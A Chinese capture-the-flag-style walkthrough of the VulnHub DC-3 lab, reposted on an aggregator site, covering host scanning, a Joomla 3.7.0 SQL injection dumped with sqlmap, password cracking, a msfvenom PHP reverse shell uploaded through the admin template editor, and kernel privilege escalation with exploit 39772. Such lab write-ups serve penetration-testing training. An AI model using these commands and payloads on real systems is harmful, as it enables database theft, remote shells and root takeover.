vulnhub通关-3 DC-3（含靶场资源）

news2024/9/24 3:28:20

文章目录

  • 一、环境搭建
    • 1.环境描述
      • 靶场描述
      • 题目表述概括（目标）
    • 2.靶场下载
      • 下载地址
    • 3.环境启动
  • 二、渗透靶场
    • 1.信息收集：寻找靶机IP
      • 分析
      • nmap扫描存活主机
    • 2.信息收集：服务和端口探测
      • 命令解析
    • 3.访问Web
    • 4.探测框架版本号
      • joomscan安装
      • 注意
      • 建议
    • 5.漏洞扫描
    • 6.漏洞利用（SQL注入）
      • sqlmap爆破库表列字段值
      • john解密password
    • 7.扫描后台地址
    • 8.登入Web后台
    • 9.反弹shell
      • 创建反弹shell
      • 上传shell
      • MSF监听反弹
    • 10.提权
      • 查看linux的内核版本和发行版本
      • 搜索相关漏洞 经过本人测试39772.txt可用
      • 上传39772.zip到目标主机
      • 执行获取权限
      • 获取flag
  • 三、相关资源

一、环境搭建

1.环境描述

靶场描述

DC-3 is another purposely built vulnerable lab with the intent of
gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners
in mind, although this time around, there is only one flag, one entry
point and no clues at all.

Linux skills and familiarity with the Linux command line are a must,
as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always
tweet me at @DCAU7 for assistance to get you going again. But take
note: I won’t give you the answer, instead, I’ll give you an idea
about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this
probably won’t take you long at all (in fact, it could take you less
than 20 minutes easily).

If that’s the case, and if you want it to be a bit more of a
challenge, you can always redo the challenge and explore other ways of
gaining root and obtaining the flag.

题目表述概括（目标）

解释：DC3只有一个flag 找到root下的flag

2.靶场下载

下载地址

https://www.vulnhub.com/entry/dc-32,312/

在这里插入图片描述

3.环境启动

1.解压文件
在这里插入图片描述

2.在VMware中打开ova文件
在这里插入图片描述

3.接下来选择你想导入的路径，进行导入即可
在这里插入图片描述
4.注意 遇到这种报错可以忽略，点击重试继续导入
在这里插入图片描述

5.开启DC-2后，显示出登录界面就证明环境基本搭建好了
在这里插入图片描述

6.网络设置，要与攻击机kali在同一网段，要么都用NAT模式，要么都用桥接模式（我这里用是是NAT模式）
在这里插入图片描述

在这里插入图片描述

二、渗透靶场

1.信息收集：寻找靶机IP

分析

NAT网段在192.168.1.0/24，所以扫描此网段

nmap扫描存活主机

nmap -sP 192.168.1.0/24

在这里插入图片描述

2.信息收集：服务和端口探测

nmap -sV -p- -T5 192.168.1.129

命令解析

  • -sV 探测详情信息
  • -p- 探测所有端口
  • -T5 加线程 加快扫描速度

在这里插入图片描述

3.访问Web

在这里插入图片描述
发现图标是joomla框架

4.探测框架版本号

在这里插入图片描述
whatweb探测出框架类型的确是Joomla 但是没有探测出版本号

这里需要用到joomscan工具

这款工具是专门对Joomla框架进行扫描的，需要进行下载

joomscan安装

apt install joomscan进行安装即可
在这里插入图片描述

注意

注意：若安装不成功，尝试更换源

建议

建议不要使用https源，https更换源需要处理安全问题较为麻烦，我这里直接使用的http源

#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
 
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
 
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
 
#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

使用joomscan扫描

joomscan --url http://192.168.1.129

在这里插入图片描述

5.漏洞扫描

searchsploit Joomla 3.7.0

在这里插入图片描述
扫描到SQL注入漏洞，下面对漏洞进行利用

6.漏洞利用（SQL注入）

查找payload文件路径
在这里插入图片描述
查看payload
在这里插入图片描述

sqlmap爆破库表列字段值

注意：修改目标地址

sqlmap -u "http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在这里插入图片描述

sqlmap -u "http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -p list[fullordering] --tables

在这里插入图片描述

sqlmap -u "http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -p list[fullordering] -T "#__users" --columns

注意：#__users有特殊字符 需要用双引号包裹
在这里插入图片描述

sqlmap -u "http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -p list[fullordering] -T "#__users" -C username,password --dump

在这里插入图片描述

john解密password

我已经爆破过了所以用show参数查看结果
没有爆破过使用

john password.txt

在这里插入图片描述

7.扫描后台地址

dirb http://192.168.1.129

在这里插入图片描述

8.登入Web后台

登入后需要根据框架特性找到文件上传点
Step1：
在这里插入图片描述
Step2：
在这里插入图片描述
Step3：
在这里插入图片描述
Step4：这里要选择php文件
在这里插入图片描述
Step5：这里我使用反弹shell 不使用菜刀 蚁剑等管理工具

9.反弹shell

创建反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.128 lport=4444 R >s.php

注意：lhost写本机地址 lport写本机端口 因为shell是反弹到本机
在这里插入图片描述

上传shell

将web shell内容写入新建文件s.php
在这里插入图片描述
保存
在这里插入图片描述
shell的执行位置属于对框架的熟悉程度 或者在网络搜索

http://192.168.1.129/templates/beez3/html/

在这里插入图片描述

MSF监听反弹

进入msf
在这里插入图片描述

设置参数 进行监听
在这里插入图片描述

执行s.php
在这里插入图片描述

上线 whoami查看当前权限为www
在这里插入图片描述

10.提权

查看linux的内核版本和发行版本

在这里插入图片描述

搜索相关漏洞 经过本人测试39772.txt可用

在这里插入图片描述

打开39772.txt看看
在这里插入图片描述
获取不到github exp的同学们可以下拉到本章相关资源 我也提供了下载资源

上传39772.zip到目标主机

在这里插入图片描述

执行获取权限

unzip命令解压zip
在这里插入图片描述

解压tar
在这里插入图片描述

注意：doublepu.c执行后会生成doublepu 要再次执行doublepu
在这里插入图片描述

获取flag

在这里插入图片描述

三、相关资源

靶机地址：
https://www.vulnhub.com/entry/dc-32,312/

39772.zip
链接：https://pan.baidu.com/s/1tJr7V5ZbYMtfCLeOa40r2Q
提取码：zt2z
–来自百度网盘超级会员V1的分享

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1439532.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

编码技巧——在项目中使用Alibaba Cloud Toolkit远程部署

编码技巧——在项目中使用Alibaba Cloud Toolkit远程部署

背景 在新公司项目开发，当前项目为自建项目，意思是从开发到运维都需要自己负责，远程的服务器也是自己搭建的win操作系统； 之前在大厂工作时，一般提交代码之后，CICD流水线会自动的执行最新代码的拉取、构建打…
阅读更多...
【iOS ARKit】3D人体姿态估计实例

【iOS ARKit】3D人体姿态估计实例

与2D人体姿态检测一样，在ARKit 中，我们不必关心底层的人体骨骼关节点检测算法，也不必自己去调用这些算法，在运行使用 ARBodyTrackingConfiguration 配置的 ARSession 之后，基于摄像头图像的3D人体姿态估计任务也会启动…
阅读更多...
SERVLET过滤器

SERVLET过滤器

SERVLET过滤器 全球因特网用户使用不同类型的Web浏览器访问应用服务器上存储的Web应用程序。每个浏览器根据对应的Web浏览器窗口中的设置显示应用程序中的信息。Web应用程序可能会有一些客户机的Web浏览器不支持的HTML标记或功能。这种情况下，应用程序在客户机的Web浏览器中可…
阅读更多...
基于SpringBoot3的快速迭代平台

基于SpringBoot3的快速迭代平台

SpringBoot3的快速开发平台 前言一、技术栈二、项目结构三、总结 前言 MateBoot是一个基于SpringBoot3的快速开发平台，采用前后端分离的模式，前端采用Element Plus组件，后端采用SpringBoot3、Sa-token、Mybatis-Plus、Redis、RabbitMQ、Fast…
阅读更多...
蓝桥杯Web应用开发-CSS3 新特性【练习三：文本阴影】

蓝桥杯Web应用开发-CSS3 新特性【练习三：文本阴影】

文本阴影 text-shadow 属性 给文本内容添加阴影的效果。 文本阴影的语法格式如下： text-shadow: x-offset y-offset blur color;• x-offset 是沿 x 轴方向的偏移距离，允许负值，必须参数。 • y-offset 是沿 y 轴方向的偏移距离&#xff0c…
阅读更多...
项目02《游戏-09-开发》Unity3D

项目02《游戏-09-开发》Unity3D

基于 项目02《游戏-08-开发》Unity3D ， 本次任务是做抽卡界面，获取的卡片增添在背包中，并在背包中可以删除卡片， 首先在Canvas下创建一个空物体，命名为LotteryPanel，作为抽卡界面， …
阅读更多...
软件价值10-数字时钟

软件价值10-数字时钟

这是一个数字时钟程序： # importing whole module from tkinter import * from tkinter.ttk import *# importing strftime function to # retrieve systems time from time import strftime# creating tkinter window root Tk() root.title(Clock)# This functio…
阅读更多...
多路服务器技术如何处理大量并发请求？

多路服务器技术如何处理大量并发请求？

在当今的互联网时代，随着用户数量的爆炸性增长和业务规模的扩大，多路服务器技术已成为处理大量并发请求的关键手段。多路服务器技术是一种并行处理技术，它可以通过多个服务器同时处理来自不同用户的请求，从而显著提高系统的整体性…
阅读更多...
three.js 箭头ArrowHelper的实践应用

three.js 箭头ArrowHelper的实践应用

效果&#xff1a; 代码&#xff1a; <template><div><el-container><el-main><div class"box-card-left"><div id"threejs" style"border: 1px solid red"></div></div></el-main></…
阅读更多...
复制和粘贴文本时剥离格式的5种方法(MacWindows)

复制和粘贴文本时剥离格式的5种方法(MacWindows)

您可能每天复制和粘贴多次。虽然它是一个非常方便的功能&#xff0c;但最大的烦恼之一就是带来了特殊的格式。从网络上获取一些文本&#xff0c;您经常会发现粘贴到文档中时&#xff0c;它保持原始样式。 我们将展示如何使用一些简单的技巧在不格式化的情况下复制和粘贴。 1.…
阅读更多...
Zabbix 配置实时开通的LDAP认证-基于AD

Zabbix 配置实时开通的LDAP认证-基于AD

介绍 本教程适用于6.4-7.0版本的Zabbix&#xff0c;域控&#xff08;AD&#xff09;使用Windows Server 2022搭建&#xff0c;域控等级为 2016。 域控域名为 songxwn.com 最终实现AD用户统一认证&#xff0c;统一改密&#xff0c;Zabbix用户自动添加。&#xff08;6.4之前不…
阅读更多...
【远程通信系统】服务端初始化

【远程通信系统】服务端初始化

服务器架构&#xff1a;libevent 线程池 数据库&#xff1a;MySQL 有两张表&#xff1a;chat_user和chat_group&#xff0c;分别保存用户信息和群信息 在线用户和群的保存&#xff1a; struct User {std::string name;//账号&#xff08;用户名struct bufferevent* bev;//客…
阅读更多...
WordPress如何实现随机显示一句话经典语录？怎么添加到评论框中？

WordPress如何实现随机显示一句话经典语录？怎么添加到评论框中？

我们在一些WordPress网站的顶部或侧边栏或评论框中&#xff0c;经常看到会随机显示一句经典语录&#xff0c;他们是怎么实现的呢&#xff1f; 其实&#xff0c;boke112百科前面跟大家分享的『WordPress集成一言&#xff08;Hitokoto&#xff09;API经典语句功能』一文中就提供…
阅读更多...
94.网游逆向分析与插件开发-游戏窗口化助手-地图数据获取的逆向分析与C++代码还原

94.网游逆向分析与插件开发-游戏窗口化助手-地图数据获取的逆向分析与C++代码还原

内容参考于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;升级经验数据获取的逆向分析 码云地址&#xff08;游戏窗口化助手 分支&#xff09;&#xff1a;https://gitee.com/dye_your_fingers/sro_-ex.git 码云版本号&#xff1a;c4351a5b346d8953a1a8e3ec…
阅读更多...
Android:国际化弹出框

Android:国际化弹出框

3.13 风格与主题、国际化 1、应用国际化 应用国际化&#xff0c;通过修改系统语言&#xff0c;应用显示语言跟着改变。 选择Locale,点击>>符号。 创建多个国家&#xff0c;地区strings.xml文件&#xff0c;有一个默认strings.xml文件&#xff0c;各个stirngs.xml中<…
阅读更多...
以“防方视角”观社工钓鱼攻击

以“防方视角”观社工钓鱼攻击

为方便您的阅读&#xff0c;可点击下方蓝色字体&#xff0c;进行跳转↓↓↓ 01 案例概述02 攻击路径03 防方思路 01 案例概述 这篇文章来自奇安信攻防社区“小艾”&#xff0c;记录的某师傅通过社工钓鱼诱导企业员工点击含有木马的文件&#xff0c;侵入系统取得了终端控制权。接…
阅读更多...
中科大计网学习记录笔记（四）：Internet 和 ISP | 分组延时、丢失和吞吐量

中科大计网学习记录笔记（四）：Internet 和 ISP | 分组延时、丢失和吞吐量

前言&#xff1a; 学习视频&#xff1a;中科大郑烇、杨坚全套《计算机网络&#xff08;自顶向下方法 第7版&#xff0c;James F.Kurose&#xff0c;Keith W.Ross&#xff09;》课程 该视频是B站非常著名的计网学习视频&#xff0c;但相信很多朋友和我一样在听完前面的部分发现信…
阅读更多...
27. 云原生流量治理之kubesphere灰度发布

27. 云原生流量治理之kubesphere灰度发布

云原生专栏大纲 文章目录 灰度发布介绍灰度发布策略KubeSphere中恢复发布策略蓝绿部署金丝雀发布流量镜像 灰度发布实战部署自制应用金丝雀发布创建金丝雀发布任务测试金丝雀发布情况 蓝绿部署创建蓝绿部署测试蓝绿部署情况 流量镜像创建流量进行任务测试流量镜像情况 灰度发布…
阅读更多...
Vue CLI学习笔记

Vue CLI学习笔记

在看任何开源库的源码之前&#xff0c;必须先了解它有哪些功能&#xff0c;这样才能针对性地分模块阅读源码。 Vue CLI 简介 Vue CLI是Vue.js的官方命令行工具&#xff0c;它是一个基于Vue.js进行快速开发的完整系统。 通过Vue CLI&#xff0c;开发者可以快速搭建和开发Vue.js项…
阅读更多...
机器学习--K-近邻算法常见的几种距离算法详解

机器学习--K-近邻算法常见的几种距离算法详解

文章目录 距离度量1 欧式距离(Euclidean Distance)2 曼哈顿距离(Manhattan Distance)3 切比雪夫距离 (Chebyshev Distance)4 闵可夫斯基距离(Minkowski Distance)5 标准化欧氏距离 (Standardized EuclideanDistance)6 余弦距离(Cosine Distance)7 汉明距离(Hamming Distance)【…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023